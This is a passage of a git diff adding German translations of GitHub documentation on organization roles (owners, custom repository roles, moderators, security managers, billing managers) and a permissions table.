+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146179559'
+---
+## Über die Aufrechterhaltung der Inhaberkontinuität für deine Organisation
+
+{% data reusables.organizations.org-ownership-recommendation %}
+
+Organisationsinhaber haben vollen administrativen Zugriff auf die Organisation. {% data reusables.organizations.new-org-permissions-more-info %}
+
+{% note %}
+
+**Hinweis**: Als Organisationsbesitzer kannst du die Rolle anderer Organisationsmitglieder und -besitzer ändern. Deine eigene Rolle kannst du nicht ändern. 
+
+{% endnote %}
+
+{% ifversion enterprise-owner-join-org %} Wenn sich deine Organisation im Besitz eines Enterprise-Kontos befindet, können sich alle Enterprise-Besitzer*innen zu Besitzer*innen deiner Organisation machen. Weitere Informationen findest du unter [Verwalten deiner Rolle in einer Organisation im Besitz deines Unternehmens](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise).
+{% endif %}
+
+## Einen Organisationsinhaber ernennen
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %}
+4. Wähle die Person(en) aus, die du als Inhaber festlegen möchtest.
+  ![Mitgliederliste mit zwei ausgewählten Mitgliedern](/assets/images/help/teams/list-of-members-selected-bulk.png)
+5. Klicke im Dropdownmenü oberhalb der Mitgliederliste auf **Rolle ändern**.
+  ![Dropdownmenü mit Option zum Entfernen von Mitgliedern](/assets/images/help/teams/user-bulk-management-options.png)
+6. Wähle eine neue Rolle für die Person oder die Personen aus und klicke dann auf **Rolle ändern**.
+  ![Optionsfelder mit Besitzer- und Mitgliederrollen und Schaltfläche „Rolle ändern“](/assets/images/help/teams/select-and-confirm-new-role-bulk.png)
diff --git a/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md
new file mode 100644
index 0000000000..b019f84e44
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md
@@ -0,0 +1,60 @@
+---
+title: Verwalten benutzerdefinierter Repositoryrollen für eine Organisation
+intro: 'Du kannst benutzerdefinierte Repositoryrollen für deine Organisation erstellen, bearbeiten oder löschen.'
+permissions: Organization owners can manage custom repository roles.
+versions:
+  feature: custom-repository-roles
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage custom roles
+redirect_from:
+  - /early-access/github/articles/managing-custom-repository-roles-for-an-organization
+ms.openlocfilehash: f7f8be4eda3ecf62a1b587a509881f9fee1a463f
+ms.sourcegitcommit: ca040a1871ab5e929b596686ef955b02c5afa051
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/02/2022
+ms.locfileid: '148131002'
+---
+{% data reusables.organizations.custom-repo-roles-ghec-only %}
+
+## Informationen zu benutzerdefinierten Repositoryrollen
+
+{% data reusables.organizations.about-custom-repo-roles %} Weitere Informationen findest du unter „[Informationen zu benutzerdefinierten Repositoryrollen](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-repository-roles)“.
+
+## Erstellen einer Repositoryrolle
+
+Um eine neue Repositoryrolle zu erstellen, füge Berechtigungen zu einer geerbten Rolle hinzu und geben der benutzerdefinierten Rolle einen Namen.
+
+{% data reusables.profile.access_profile %} {% data reusables.profile.access_org %} {% data reusables.organizations.org_settings %} {% data reusables.organizations.org-list %} {% data reusables.organizations.org-settings-repository-roles %}
+5. Klicke auf **Rolle erstellen**.
+  ![Screenshot der Schaltfläche „Rolle erstellen“](/assets/images/help/organizations/repository-role-create-role.png)
+4. Gib unter „Name“ den Namen deiner Repositoryrolle ein.
+  ![Feld zum Eingeben eines Namens für die Repositoryrolle](/assets/images/help/organizations/repository-role-name.png)
+5. Gib unter „Beschreibung“ eine Beschreibung deiner Repositoryrolle ein.
+  ![Feld zum Eingeben einer Beschreibung der Repositoryrolle](/assets/images/help/organizations/repository-role-description.png)
+6. Wähle unter „Rolle zum Erben auswählen“ die Rolle aus, die du erben möchtest.
+  ![Auswählen der Basisrollenoption für Repositoryrollen](/assets/images/help/organizations/repository-role-base-role-option.png)
+7. Verwende die Dropdownliste unter „Berechtigungen hinzufügen“, um die Berechtigungen für deine benutzerdefinierte Rolle auszuwählen.
+  ![Auswählen von Berechtigungsstufen aus der Dropdownliste für Repositoryrollen](/assets/images/help/organizations/repository-role-drop-down.png)
+7. Klicke auf **Rolle erstellen**.
+  ![Bestätigen des Erstellens einer Repositoryrolle](/assets/images/help/organizations/repository-role-creation-confirm.png)
+
+## Bearbeiten einer Repositoryrolle
+
+{% data reusables.profile.access_profile %} {% data reusables.profile.access_org %} {% data reusables.organizations.org_settings %} {% data reusables.organizations.org-list %} {% data reusables.organizations.org-settings-repository-roles %}
+3. Klicke rechts neben der Rolle, die du bearbeiten möchtest, auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und dann auf **Bearbeiten**.
+  ![Bearbeitungsoption in der Dropdownliste für Repositoryrollen](/assets/images/help/organizations/repository-role-edit-setting.png)
+4. Bearbeite die Rolle, und klicke dann auf **Rolle aktualisieren**.
+  ![Bearbeiten von Feldern und Aktualisieren von Repositoryrollen](/assets/images/help/organizations/repository-role-update.png)
+
+## Löschen einer Repositoryrolle
+
+Wenn du eine vorhandene Repositoryrolle löschst, werden alle ausstehenden Einladungen, Teams und Benutzer*innen mit der benutzerdefinierten Rolle wieder den Basisberechtigungen der Organisation zugewiesen.
+
+{% data reusables.profile.access_profile %} {% data reusables.profile.access_org %} {% data reusables.organizations.org_settings %} {% data reusables.organizations.org-list %} {% data reusables.organizations.org-settings-repository-roles %}
+3. Klicke rechts neben der Rolle, die du löschen möchtest, auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und dann auf **Löschen**.
+  ![Bearbeitungsoption in der Dropdownliste für Repositoryrollen](/assets/images/help/organizations/repository-role-delete-setting.png)
+4. Überprüfe Änderungen an der Rolle, die du entfernen möchtest, und klicke dann auf **Rolle löschen**.
+  ![Bestätigen des Löschens einer Repositoryrolle](/assets/images/help/organizations/repository-role-delete-confirm.png)
diff --git a/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization.md b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization.md
new file mode 100644
index 0000000000..8e9179e29f
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization.md
@@ -0,0 +1,44 @@
+---
+title: Verwalten von Moderatoren in deiner Organisation
+intro: 'Du kannst einer Person oder einem Team in deiner Organisation die Möglichkeit geben, den Zugriff zu blockieren und einzuschränken, indem du die Moderatorenrolle entsprechend zuweist.'
+permissions: Organization owners can assign the moderator role.
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+  - Community
+shortTitle: Managing moderators
+ms.openlocfilehash: 9f4d3cc70560f3cd48f5ee9e1a31a452ae71b6aa
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147076711'
+---
+## Informationen zu Organisationsmoderatoren
+
+Gelegentlich ist es notwendig, einen Mitwirkenden zu sperren oder Interaktionsbeschränkungen für deine Organisation oder für einzelne Repositorys einzurichten. Als Organisationsbesitzer kannst du diese Aufgaben ausführen, aber vielleicht möchtest du diese Aufgaben an andere Mitglieder deiner Organisation delegieren. Hierzu kannst du einem Organisationsmitglied oder einem Team die Rolle „Moderator“ zuweisen.
+
+Organisationsmoderatoren können folgende Aufgaben ausführen:
+* Sperren und Entsperren von Benutzern in der Organisation Weitere Informationen findest du unter [Sperren eines Benutzers für deine Organisation](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization).
+* Verwalten der Limits für die Organisationsinteraktion Weitere Informationen findest du unter [Einschränken von Interaktionen in deiner Organisation](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization).
+* Verwalten der Limits für die Repositoryinteraktion Weitere Informationen findest du unter [Einschränken von Interaktionen in deinem Repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository).
+* Ausblenden von Kommentaren in allen öffentlichen Repositorys im Besitz der Organisation Weitere Informationen findest du unter [Verwalten von störenden Kommentaren](/communities/moderating-comments-and-conversations/managing-disruptive-comments).
+
+Wenn du jemanden als Organisationsmoderator festlegst, erhält der betreffende Benutzer keine weiteren als die oben aufgeführten Fähigkeiten. Wenn jemand zum Beispiel nur über Lesezugriff für ein Repository verfügt, erhält er keinen Schreibzugriff, wenn er als Moderator festgelegt wird.
+
+Du kannst bis zu 10 Einzelpersonen oder Teams als Moderatoren hinzufügen. Wenn du bereits 10 Einzelpersonen und/oder Teams als Benutzer zugewiesen hast und weitere hinzufügen möchtest, kannst du Personen in einem Moderatorenteam gruppieren und dieses dann verwenden, um eine oder mehrere der vorhandenen Zuweisungen zu ersetzen. Weitere Informationen findest du unter [Erstellen eines Teams](/organizations/organizing-members-into-teams/creating-a-team).
+
+## Hinzufügen eines Organisationsmoderators
+
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %}
+1. Wähle im Abschnitt „Zugriff“ in der Seitenleiste **{% octicon "report" aria-label="The report icon" %} Moderation** aus, und klicke dann auf **Moderatoren**.
+1. Suche unter **Moderatoren** die Person oder das Team, der bzw. dem du die Moderatorenrolle zuweisen möchtest, und wähle sie/es aus. Alle von dir ausgewählten Personen oder Teams werden in einer Liste unterhalb der Suchleiste angezeigt. 
+  ![Suchfeld und Liste der Moderatoren](/assets/images/help/organizations/add-moderators.png)
+
+
+## Entfernen eines Organisationsmoderators
+
+Befolge die oben beschriebenen Schritte 1–3, und klicke dann auf **Moderator entfernen** neben der Person oder dem Team, die/das du als Moderator entfernen möchtest.
diff --git a/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md
new file mode 100644
index 0000000000..6d9e44bf37
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md
@@ -0,0 +1,55 @@
+---
+title: Managing security managers in your organization
+intro: You can give your security team the least access they need to your organization by assigning a team to the security manager role.
+versions:
+  feature: security-managers
+topics:
+  - Organizations
+  - Teams
+shortTitle: Security manager role
+permissions: Organization owners can assign the security manager role.
+---
+
+{% data reusables.organizations.security-manager-beta-note %}
+
+{% data reusables.organizations.about-security-managers %}
+
+## Permissions for the security manager role
+
+Members of a team with the security manager role have only the permissions required to effectively manage security for the organization.
+
+- Read access on all repositories in the organization, in addition to any existing repository access
+- Write access on all security alerts in the organization {% ifversion not fpt %}
+- Access to the organization's security overview {% endif %}
+- The ability to configure security settings at the organization level{% ifversion not fpt %}, including the ability to enable or disable {% data variables.product.prodname_GH_advanced_security %}{% endif %}
+- The ability to configure security settings at the repository level{% ifversion not fpt %}, including the ability to enable or disable {% data variables.product.prodname_GH_advanced_security %}{% endif %}
+
+{% ifversion fpt %}
+Additional functionality, including a security overview for the organization, is available in organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %}. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization).
+{% endif %}
+
+If a team has the security manager role, people with admin access to the team and a specific repository can change the team's level of access to that repository but cannot remove the access. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository){% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}" and "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)."{% else %}."{% endif %}
+
+  ![Manage repository access UI with security managers](/assets/images/help/organizations/repo-access-security-managers.png)
+
+## Assigning the security manager role to a team in your organization
+You can assign the security manager role to a maximum of 10 teams in your organization.
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security-and-analysis %}
+1. Under **Security managers**, search for and select the team to give the role. Each team you select will appear in a list below the search bar. 
+  ![Add security manager](/assets/images/help/organizations/add-security-managers.png)
+## Removing the security manager role from a team in your organization
+
+{% warning %}
+
+**Warning:** Removing the security manager role from a team will remove the team's ability to manage security alerts and settings across the organization, but the team will retain read access to repositories that was granted when the role was assigned. You must remove any unwanted read access manually. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#removing-a-teams-access-to-a-repository)."
+
+{% endwarning %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security-and-analysis %}
+1. Under **Security managers**, to the right of the team you want to remove as security managers, click {% octicon "x" aria-label="The X icon" %}.
+  ![Remove security managers](/assets/images/help/organizations/remove-security-managers.png)
diff --git a/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/removing-a-billing-manager-from-your-organization.md b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/removing-a-billing-manager-from-your-organization.md
new file mode 100644
index 0000000000..6ef5aa85a9
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/removing-a-billing-manager-from-your-organization.md
@@ -0,0 +1,30 @@
+---
+title: Abrechnungsmanager aus deiner Organisation entfernen
+intro: 'Wenn für eine Person mit der Rolle *Abrechnungsmanager* kein Grund mehr besteht, die Abrechnungsinformationen deiner Organisation anzuzeigen oder zu ändern, kannst du deren Zugriff auf die Organisation entfernen.'
+redirect_from:
+  - /articles/removing-a-billing-manager-from-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/removing-a-billing-manager-from-your-organization
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+  - Billing
+shortTitle: Remove billing manager
+ms.openlocfilehash: a67f8a5644c063f64235bb25044c8364c0daa657
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106203'
+---
+{% warning %}
+
+**Hinweis:** {% data reusables.dotcom_billing.org-billing-perms %}
+
+{% endwarning %}
+
+{% data reusables.organizations.billing-settings %}
+1. Klicke in der Liste „Abrechnungsmanager“ unter „Abrechnungsverwaltung“ neben dem Namen der Person, die du entfernen möchtest, auf **Entfernen**.
+![Entfernen des Abrechnungsmanagers“](/assets/images/help/billing/settings_billing_managers_remove_manager.png)
diff --git a/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md
new file mode 100644
index 0000000000..f52573bdd6
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md
@@ -0,0 +1,237 @@
+---
+title: Rollen in einer Organisation
+intro: 'Organisationsbesitzer*innen können Einzelpersonen und Teams Rollen zuweisen, durch die sie unterschiedliche Berechtigungen in der Organisation erhalten.'
+redirect_from:
+  - /articles/permission-levels-for-an-organization-early-access-program
+  - /articles/permission-levels-for-an-organization
+  - /github/setting-up-and-managing-organizations-and-teams/permission-levels-for-an-organization
+  - /organizations/managing-peoples-access-to-your-organization-with-roles/permission-levels-for-an-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Roles in an organization
+ms.openlocfilehash: 960f6f701ad524220e9e79ada04fa9e4d30b8e9f
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108286'
+---
+## Informationen zu Rollen
+{% data reusables.organizations.about-roles %}
+
+Mit Rollen auf Repositoryebene kannst du Organisationsmitgliedern, externen Mitarbeiter*innen und Teams unterschiedliche Zugriffsebenen auf Repositorys zuweisen. Weitere Informationen findest du unter [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization).
+
+Mit Rollen auf Teamebene erteilst du Berechtigungen zur Verwaltung eines Teams. Du kannst einem einzelnen Teammitglied die Maintainerrolle erteilen, die eine Reihe von Administratorberechtigungen für das Team beinhaltet. Weitere Informationen findest du unter [Zuweisen der Maintainerrolle für ein Team zu einem Teammitglied](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member).
+
+Rollen auf Organisationsebene sind Berechtigungen, die du Personen oder Teams zuweisen kannst, um eine Organisation sowie die Repositorys, Teams und Einstellungen der Organisation zu verwalten. Weitere Informationen zu allen Rollen auf Organisationsebene findest du unter [Informationen zu Organisationsrollen](#about-organization-roles).
+
+## Informationen von Organisationsrollen
+
+Du kannst einzelnen Personen oder Teams eine Vielzahl von Rollen auf Organisationsebene zuweisen, um den Zugriff der Mitglieder auf deine Organisation und deren Ressourcen zu steuern. Weitere Informationen zu den Berechtigungen, die in den jeweiligen Rollen enthalten sind, findest du unter [Berechtigungen für Organisationsrollen](#permissions-for-organization-roles).
+
+{% ifversion enterprise-owner-join-org %} Befindet sich deine Organisation im Besitz eines Unternehmenskontos, können Unternehmensbesitzer*innen deiner Organisation mit einer beliebigen Rolle beitreten. Weitere Informationen findest du unter [Verwalten deiner Rolle in einer Organisation im Besitz deines Unternehmens](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise).
+{% endif %}
+
+### Organisationsbesitzer
+Organisationsbesitzer*innen verfügen über vollständigen Administratorzugriff auf deine Organisation. Diese Rolle sollte in deiner Organisation beschränkt verfügbar sein, aber für nicht weniger als zwei Personen. Weitere Informationen findest du unter [Verwalten der Besitzkontinuität für deine Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization).
+
+### Organisationsmitglieder
+Die Standardrolle für Personen ohne Verwaltungsaufgaben in einer Organisation ist das Organisationsmitglied. Standardmäßig verfügen Organisationsmitglieder über eine Reihe von Berechtigungen, wie etwa die Berechtigung zum Erstellen von Repositorys und Projektboards.
+
+{% ifversion fpt or ghec %}
+### Organisationsmoderatoren
+Moderator*innen sind Organisationsmitglieder, die zusätzlich zu ihren Mitgliedsberechtigungen über folgende Berechtigungen verfügen: Sie können Mitwirkende sperren und zulassen, die keine Mitglieder sind, Interaktionsbeschränkungen festlegen und Kommentare in öffentlichen Repositorys im Besitz der Organisation ausblenden. Weitere Informationen findest du unter [Verwalten von Moderatoren in deiner Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization).
+
+### Abrechnungsmanager
+Abrechnungsmanager*innen sind Benutzer*innen, die die Abrechnungseinstellungen für deine Organisation ( z. B. Zahlungsinformationen) verwalten. Diese Option ist nützlich, wenn die Mitglieder deiner Organisation in der Regel nicht auf Abrechnungsressourcen zugreifen können. Weitere Informationen findest du unter [Hinzufügen eines Abrechnungsmanagers zu deiner Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization).
+
+{% endif %}
+
+{% ifversion security-managers %}
+### Sicherheitsmanager
+
+{% data reusables.organizations.security-manager-beta-note %}
+
+{% data reusables.organizations.about-security-managers %}
+
+Wenn deine Organisation über ein Sicherheitsteam verfügt, kannst du mit der Rolle des Sicherheitsmanagers den Mitgliedern des Teams die Mindestzugriffsrechte für die Organisation gewähren. Weitere Informationen findest du unter [Verwalten von Sicherheitsmanagern in deiner Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization).
+{% endif %}
+### {% data variables.product.prodname_github_app %}-Managers
+Standardmäßig können nur Organisationsbesitzer die Einstellungen von {% data variables.product.prodname_github_apps %} im Besitz einer Organisation verwalten. Wenn du weiteren Benutzern die Berechtigung zur Verwaltung von {% data variables.product.prodname_github_apps %} im Besitz einer Organisation erteilen möchtest, kann ihnen ein Besitzer Managerberechtigungen für {% data variables.product.prodname_github_app %} zuweisen.
+
+Wenn du einen Benutzer/eine Benutzerin zum {% data variables.product.prodname_github_app %}-Manager in deiner Organisation ernennst, kannst du ihnen Zugriff auf die Verwaltung der Einstellungen einzelner oder aller {% data variables.product.prodname_github_apps %} im Besitz der Organisation gewähren. Weitere Informationen finden Sie unter
+
+- [Hinzufügen von GitHub-App-Manager*innen zu deiner Organisation](/articles/adding-github-app-managers-in-your-organization)
+- [Entfernen von GitHub-App-Manager*innen aus deiner Organisation](/articles/removing-github-app-managers-from-your-organization)
+
+### Externe Mitarbeiter
+Durch das Hinzufügen *externer Mitarbeiter*innen* kannst du gleichzeitig die Daten deiner Organisation schützen und den Zugriff auf Repositorys gewähren. {% data reusables.organizations.outside_collaborators_description %}
+
+## Berechtigungen für Organisationsrollen
+
+{% ifversion fpt %} Einige der unten aufgeführten Features sind auf Organisationen beschränkt, die {% data variables.product.prodname_ghe_cloud %} verwenden. {% data reusables.enterprise.link-to-ghec-trial %} {% endif %}
+
+{% ifversion fpt or ghec %}
+<!-- Free/Pro/Team and GHEC versions have extra columns for Moderators and Billing managers-->
+
+| Organisationsberechtigung | Besitzer | Member | Moderatoren | Abrechnungsmanager | Sicherheitsmanager |
+|:------------------------|:------:|:-------:|:----------:|:----------------:|:-----------------:|
+| Erstellen von Repositorys (weitere Informationen findest du unter [Einschränken der Erstellung von Repositorys in deiner Organisation](/articles/restricting-repository-creation-in-your-organization)) | **X** | **X** | **X** |  | **X**  |
+| Abrechnungsinformationen anzeigen und bearbeiten | **X** |  |  | **X** |  |
+| Personen zum Beitritt zur Organisation einladen | **X** |  |  |  |  |
+| Einladungen zum Beitritt zu der Organisation bearbeiten und zurückziehen | **X** |  |  |  |  |
+| Mitglied aus der Organisation entfernen | **X** |  |  |  |  |
+| Ehemaliges Mitglied der Organisation wieder einsetzen | **X** |  |  |  |  |
+| Hinzufügen und Entfernen von Personen aus **allen Teams** | **X** |  |  |  |  |
+| Höherstufen von Organisationsmitgliedern auf die Rolle des *Maintainers für ein Team* | **X** |  |  |  |  |
+| Konfigurieren von Code Review-Zuweisungen (weitere Informationen findest du unter [Verwalten von Code Review-Zuweisungen für dein Team](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team)) | **X** |  |  |  |  |
+| Festlegen geplanter Erinnerungen (Informationen unter [Verwalten geplanter Erinnerungen für Pull Requests](/github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests)) | **X** |  |  |  |  |
+| Hinzufügen von Mitarbeiter*innen zu **allen Repositorys** | **X** |  |  |  |  |
+| Auf das Auditprotokoll der Organisation zugreifen | **X** |  |  |  |  |
+| Bearbeiten der Profilseite deiner Organisation (weitere Informationen findest du unter [Informationen zum Profil deiner Organisation](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)) | **X** |  |  |  |  |{% ifversion ghec %}
+| Überprüfen der Domänen deiner Organisation (weitere Informationen finest du unter [Überprüfen der Domäne deiner Organisation](/articles/verifying-your-organization-s-domain)) | **X** |  |  |  |  |
+| Einschränken von E-Mail-Benachrichtigungen auf überprüfte oder genehmigte Domänen (weitere Informationen findest du unter [Einschränken von E-Mail-Benachrichtigungen für deine Organisation](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)) | **X** |  |  |  |  |{% endif %}
+| Löschen **aller Teams** | **X** |  |  |  |  |
+| Das Organisationskonto einschließlich aller Repositorys löschen | **X** |  |  |  |  |
+| Erstellen von Teams (weitere Informationen findest du unter [Festlegen von Berechtigungen zur Teamerstellung in deiner Organisation](/articles/setting-team-creation-permissions-in-your-organization)) | **X** | **X** | **X** |  | **X**  |
+| [Verschieben von Teams in der Hierarchie einer Organisation](/articles/moving-a-team-in-your-organization-s-hierarchy) | **X** |  |  |  |  |
+| Erstellen von Projektboards (Informationen unter [Berechtigungen für Projektboards einer Organisation](/articles/project-board-permissions-for-an-organization)) | **X** | **X** | **X** |  | **X**  |
+| Alle Organisationsmitglieder und Teams sehen | **X** | **X** | **X** |  | **X**  |
+| @mention aller sichtbaren Teams | **X** | **X** | **X** |  | **X**  |
+| Kann die Rolle des *Maintainers für ein Team* zugewiesen werden | **X** | **X** | **X** |  | **X** |{% ifversion ghec %}
+| Anzeigen von Organisationserkenntnissen (weitere Informationen findest du unter [Anzeigen von Erkenntnissen für deine Organisation](/articles/viewing-insights-for-your-organization)) | **X** | **X** | **X** |  | **X**  |{% endif %}
+| Anzeigen und Posten von öffentlichen Teamdiskussionen für **alle Teams** (Informationen unter [Informationen zu Teamdiskussionen](/organizations/collaborating-with-your-team/about-team-discussions)) | **X** | **X** | **X** |  | **X**  |
+| Anzeigen und Posten von privaten Teamdiskussionen für **alle Teams** (Informationen unter [Informationen zu Teamdiskussionen](/organizations/collaborating-with-your-team/about-team-discussions)) | **X** |  |  |  |  |
+| Bearbeiten und Löschen von Teamdiskussionen in **allen Teams** (Informationen unter [Verwalten störender Kommentare](/communities/moderating-comments-and-conversations/managing-disruptive-comments)) | **X** |  |  |  |  |
+| Deaktivieren von Teamdiskussionen für eine Organisation (weitere Informationen findest du unter [Deaktivieren von Teamdiskussionen für deine Organisation](/articles/disabling-team-discussions-for-your-organization)) | **X** |  |  |  |  |
+| Ausblenden von Kommentaren zu beschreibbaren Commits, Pull Requests und Issues (Informationen unter [Verwalten störender Kommentare](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)) | **X** | **X** | **X** |  | **X** |
+| Ausblenden von Kommentaren zu _allen_ Commits, Pull Requests und Issues (Informationen unter [Verwalten störender Kommentare](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)) | **X** |  | **X** |  | **X** |
+| Sperren und Zulassen von Mitwirkenden, die keine Mitglieder sind (weitere Informationen findest du unter [Sperren von Benutzer*innen in deiner Organisation](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)) | **X** |  | **X** |  |  |
+| Einschränken von Interaktionen für bestimmte Benutzer*innen in öffentlichen Repositorys (weitere Informationen findest du unter [Einschränken von Interaktionen in deiner Organisation](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)) | **X** |  | **X** |  |  |{% ifversion ghec %}
+| Verwalten der Anzeige von Abhängigkeitserkenntnissen deiner Organisation (weitere Informationen findest du unter [Ändern der Sichtbarkeit von Abhängigkeitserkenntnissen deiner Organisation](/articles/changing-the-visibility-of-your-organizations-dependency-insights)) | **X** |  |  |  |  |{% endif %}
+| Festlegen eines Teamprofilbilds für **alle Teams** (weitere Informationen findest du unter [Festlegen des Profilbilds deines Teams](/articles/setting-your-team-s-profile-picture)) | **X** |  |  |  |  |
+| Sponsern von Konten und Verwalten des Sponsorings in deiner Organisation (weitere Informationen findest du unter [Sponsern von Open-Source-Mitwirkenden](/sponsors/sponsoring-open-source-contributors)) | **X** |  |  | **X** | **X**  |
+| Verwalten von E-Mail-Updates aus gesponserten Konten (weitere Informationen findest du unter [Verwalten von Updates aus Konten deiner Organisationssponsoren](/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors)) | **X** |  |  |  |  |
+| Zuordnen deines Sponsorings zu einer anderen Organisation (weitere Informationen findest du unter [Zuordnen von Sponsorings zu deiner Organisation](/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization)) | **X** |  |  |  |  |
+| Verwalten der Veröffentlichung von {% data variables.product.prodname_pages %}-Websites aus Repositorys in der Organisation (weitere Informationen findest du unter [Verwalten der Veröffentlichung von {% data variables.product.prodname_pages %}-Websites für deine Organisation](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)) | **X** |  |  |  |  |
+| Verwalten von Sicherheits- und Analyseeinstellungen (weitere Informationen findest du unter [Verwalten von Sicherheits- und Analyseeinstellungen für deine Organisation](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)) | **X** |  |  |  | **X** |
+| Anzeigen der Sicherheitsübersicht für die Organisation (Informationen unter [Informationen zur Sicherheitsübersicht](/code-security/security-overview/about-the-security-overview)) | **X** |  |  |  | **X** |{% ifversion ghec %}
+| Aktivieren und Erzwingen der [einmaligen SAML-Anmeldung](/articles/about-identity-and-access-management-with-saml-single-sign-on) | **X** |  |  |  |  |
+| [Verwalten des SAML-Benutzerzugriffs auf deine Organisation](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization) | **X** |  |  |  |  |
+| Verwalten der SSH-Zertifizierungsstellen einer Organisation (weitere Informationen findest du unter [Verwalten der SSH-Zertifizierungsstellen deiner Organisation](/articles/managing-your-organizations-ssh-certificate-authorities)) | **X** |  |  |  |  |{% endif %}
+| Repositorys übertragen | **X** |  |  |   |  |
+| {% data variables.product.prodname_marketplace %}-Apps erwerben, installieren, kündigen und ihre Abrechnung verwalten | **X** |  |  |  |  |
+| Apps auf {% data variables.product.prodname_marketplace %} aufführen | **X** |  |  |  |  |
+| Empfangen von [{% data variables.product.prodname_dependabot_alerts %} zu unsicheren Abhängigkeiten](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts) für alle Repositorys einer Organisation | **X** |  |  |  | **X** |
